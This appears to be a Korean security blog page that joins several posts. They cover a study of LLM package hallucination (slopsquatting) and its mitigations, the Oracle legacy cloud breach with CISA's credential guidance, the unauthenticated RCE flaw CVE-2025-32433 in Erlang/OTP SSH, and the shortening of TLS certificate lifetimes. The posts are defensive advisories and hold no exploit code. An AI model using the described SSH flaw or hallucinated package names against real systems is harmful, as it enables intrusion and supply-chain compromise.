※ 휴리스틱 (Heuristic) : 정확한 정답이나 완벽한 규칙이 없을 때, 경험과 직관에 기반해 문제를 실용적으로 해결하는 방법

2.3 결과

구분 설명
RQ1 : 패키지 환각 발생률 - 16개 모델 모두에서 패키지 환각이 만연한 현상인 것으로 나타남
> 총 223만 개의 패키지 중 440,445(19.7%)가 환각으로 판정
> 205,474개의 고유한 환각

- 평가
> GPT-4 Turbo 환각률 최저(3.59%), DeepSeek 1B 환각률 최고(13.63%)
> 상용 모델 평균 환각률 5.2%, 무료 모델 평균 환각률 21.7%
> Python 환각률 15.8%, JavaScript 환각률 21.3%
RQ2 : 모델 설정의 영향 - 설정된 온도가 높을수록 환각률이 뚜렷하게 증가
- 디코딩 전략은(Top-k, Top-p, Min-p) 뚜렷한 차이 없음
- 최근 주제를 다루는 프롬프트일수록 환각률이 10% 높음
RQ3 : LLM 동작 특성 - 동일 프롬프트를 10번 반복 결과
> 43%는 10번 모두 환각을 재현하였으며, 39%는 10번 모두 환각을 재현하지 않음
> 58%는 최소 한 번 이상 동일 환각 반복 - 반복 가능성을 의미하여 공격자에게 매력적

- 패키지 추천이 많은 모델일수록 높은 환각률
- GPT 4 Turbo, GPT 3.5, DeepSeek는 75% 이상의 정확도로 환각 식별 가능
RQ4 : 패키지 환각의 특징 - 81%의 환각 패키지가 한 모델에서만 생성됨
> 대부분의 환각 패키지는 모델마다 고유하게 생성

- 대부분의 환각이 사소한 오타가 아니라 기존 패키지와 큰 차이를 보임
- 삭제된 패키지는 환각에 영향을 끼치지 않으며, JavaScript가 가장큰 영향
RQ5 : 완화 전략 - RAG(Retrieval-Augmented Generation)
> LLM의 출력을 최적화하여 응답을 생성하기 전에 학습 데이터 소스 외부의 신뢰할 수 있는 지식 베이스를 참조하도록 하는 프로세스


- Self-Refinement
> 패키지 이름을 생성한 후 해당 패키지의 유효성을 다시 쿼리하여 유효성 검증을 최대 5회까지 반복할 수 있음

- Fine-tuning
> 이미 훈련된 대규모 언어 모델에 특정 데이터셋을 사용하여 추가적인 학습을 수행하는 작업
> 모든 환각을 제외하고 유효한 응답을 사용해 모델 재훈련

※ 모든 전략을 조합한 경우
- DeepSeek는 2.4%, CodeLlama는 9.3%까지 환각률 감소
- Fine-tuning의 경우 코드 품질 저하 단점 존재
- RAG와 Self-Refinement는 비교적 실용적인 대안

3. 참고

[1] https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks

[2] https://www.infosecurity-magazine.com/news/ai-hallucinations-slopsquatting/

[3] https://www.boannews.com/media/view.asp?idx=136863&page=2&kind=1

요약 - CISA는 Oracle의 구형 시스템이 해킹된 사건과 관련, 자격 증명 유출로 인한 보안 침해 위험이 커졌다고 경고
- 유출된 자격 증명이 재사용되거나 시스템 내 하드코딩되어 있을 경우 장기적인 접근권한 노출로 이어질 수 있음
내용 - 이번 침해는 오라클의 1세대 클라우드 서버(Oracle Cloud Classic)인 ‘Gen 1 서버’에서 발생
> 공격자는 25년 초 CVE-2021-35587를 악용해 웹 셸과 악성코드 설치 및 사용자 관리 시스템인 IDM(Oracle Identity Manager) 데이터베이스에 접근
> IDM(Oracle Identity Manager) 데이터베이스 : 사용자 이름, 이메일 주소, 암호화된 패스워드, 인증 토큰, 암호키 등의 민감한 정보가 포함

※ CVE-2021-35587 (CVSS: 9.8) : HTTP 네트워크 접근 권한을 가진 인증되지 않은 공격자가 OAM을 침해하여 모든 권한을 가진 사용자를 생성하거나 피해자 서버에서 임의 코드를 실행할 수 있는 취약점

- 해커 ‘rose87168’
> 해당 침해를 자신이 저질렀다고 주장하며, 총 600만 건의 자격 증명 데이터 판매글 게시
> 유출된 정보에는 LDAP 데이터와 함께 다수의 조직 리스트가 포함되어 있는 것으로 확인

- CISA
> 유출된 자격 증명이 코드, 템플릿, 스크립트 등 시스템 전반에 하드코딩되어 있을 경우 탐지가 어렵고장기적인 비인가 접근을 유도할 수 있다고 경고
> 권고
① 유출 가능성이 있는 계정의 비밀번호를 즉시 변경하고, 전사적인 자격 증명 점검 실시
② 코드와 시스템에 하드코딩된 인증 정보를 보안 인증 방식으로 대체하고, 중앙 비밀 관리 도입
③ 가능한 모든 시스템에 피싱 방지 기능이 강화된 다중 인증(MFA) 적용
④ 인증 로그 및 접근 기록을 실시간으로 모니터링해 이상 징후 탐지

- 오라클
> 문제가 된 서버는 2017년 이후 사용되지 않은 구형 시스템
> 현재 오라클 클라우드 인프라스트럭처(OCI)는 침해되지 않았다고 해명
> 이번 침해가 자사의 클라우드 서비스나 고객 데이터에는 영향을 미치지 않았다고 주장

- 보안 전문가
> 오라클이 이번 사건을 지나치게 축소하고 있다는 비판을 제기
> 시스템 내에 하드코딩된 인증 정보를 점검하고 즉시 교체
> 자격 증명을 안전하게 관리할 수 있도록 중앙 비밀 관리 시스템을 도입
> 모든 시스템에서 다중 인증을 기본적으로 활성화
> 정기적인 보안 업데이트와 패치 적용이 필수적
기타 - 오라클 헬스(구 세르너)
> 25.01 데이터 마이그레이션 과정 중 침해가 발생해 환자 데이터가 유출
> 공격자는 고객 인증 정보를 이용해 전자 건강기록 시스템에 접근

 

보안뉴스

 

오라클 구형 시스템 해킹에 따른 자격 증명 유출로 인해 보안 침해 위험↑ - 데일리시큐

미국 사이버보안 및 인프라 보안국(CISA)은 최근 오라클(Oracle)의 구형 시스템이 해킹된 사건과 관련해, 자격 증명 유출로 인해 조직 전반에 걸쳐 보안 침해 위험이 커졌다고 경고했다. 특히 이 사

www.dailysecu.com

 

CISA Releases Guidance on Credential Risks Associated with Potential Legacy Oracle Cloud Compromise | CISA

CISA recommends the following actions to reduce the risks associated with potential credential compromise.

www.cisa.gov

 

1. Erlang/OTP SSH

- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어

- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]

- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]

2. CVE-2025-32433

[사진 1] CVE-2025-32433 [3]

- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)

> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음

> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨

영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전

 

- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]

> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이

> SSH Message Numbers80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음

> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함

[사진 2] RFC 4252 : 6. uthentication Protocol Message Numbers

- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음

> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [6][7][8]

> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부

제품명 영향받는 버전 해결 버전
Erlang/OTP <= OTP-27.3.2 OTP-27.3.3
<= OTP-26.2.5.10 OTP-26.2.5.11
<= OTP-25.3.2.19 OTP-25.3.2.20

 

- 업데이트가 불가한 경우

> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단

> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화

4. 참고

[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526

요약 - CA/Browser 포럼, 향후 4년간 SSL/TLS 인증서의 유효기간을 단축하기로 결정
- 최종적으로는 2029년 3월부터 인증서의 유효기간이 47일로 줄어듦
내용 - CA/Browser 포럼
> 인증서 발급 기관(CA)과 브라우저 개발사를 포함한 소프트웨어 업체들이 디지털 인증서의 보안 표준을 마련 및 유지하는 단체
> 주요 구성원
① 인증기관: DigiCert, GlobalSign 등
② 기업: Google, Apple, Mozilla, Microsoft 등

- 올해 초 Apple이 인증서 유효기간 단축 제안
> Sectigo, Google Chrome 팀, Mozilla 등이 지지하며 논의 시작
> 제안: 현재 398일인 유효기간을 점차 줄여 29.03에는 47일까지 줄이는 것
> 목적
① 오래된 인증서 데이터나 더 이상 안전하지 않은 암호화 알고리즘 사용으로 인한 보안 위험 최소화
② 유출된 인증 정보가 오랜 기간 노출되는 상황 방지
인증서 자동 갱신 및 순환 시스템 도입 장려

- SSL/TLS 인증서
> 웹사이트와 사용자 간의 안전한 통신(HTTPS)을 가능하게 해주는 디지털 파일
> 이 인증서를 통해 암호화된 연결이 이루어지며, 비밀번호, 신용카드 번호 등 민감 정보가 중간에 도청되지 않도록 보호
> 인증서는 해당 웹사이트의 신원을 검증하고, 사용자와 서버 간의 데이터가 위조되지 않았음을 보장
> 만약 인증서가 갱신 없이 만료되면, 브라우저에서 "이 연결은 안전하지 않습니다"라는 경고 메시지를 보여줌

- 현재 인증서의 유효기간과 도메인 제어 검증(DCV) 유효기간은 398일
> 다수의 보안 전문가들과 인증기관은 이 기간이 현재 보안 수준에는 너무 길다고 주장
> CA/Browser 포럼은 다음과 같은 단계별 단축 계획을 만장일치(29표 찬성, 반대 0표)로 결정
① 2026년 3월 15일부터: 인증서 및 DCV 유효기간 → 200일
② 2027년 3월 15일부터: 인증서 및 DCV 유효기간 → 100일
③ 2029년 3월 15일부터: 인증서 유효기간 → 47일, DCV 유효기간 → 10일

- 여러 도메인을 관리하는 기업이나 개인에게는 인증서 관리 부담이 커질 수 있음
> 기업의 인증서 요청 시 더 자주 재검증을 유도하고, 인증서 자동화 시스템 도입을 촉진
> 장기적으로는 전체 보안 생태계를 더욱 유연하고 안전하게 만들 것으로 기대
기타 - 기업은 인증서 유효기간의 점진적 단축으로 인증서 자동 갱신 시스템을 도입할 수 있는 충분한 시간을 확보
> 인증서 갱신 과정을 자동화하여 관리 부담을 줄이고, 보안성 강화 가능할 것으로 기대

 

보안뉴스

 

SSL/TLS certificate lifespans reduced to 47 days by 2029

The CA/Browser Forum has voted to significantly reduce the lifespan of SSL/TLS certificates over the next 4 years, with a final lifespan of just 47 days starting in 2029.

www.bleepingcomputer.com

 

+ Recent posts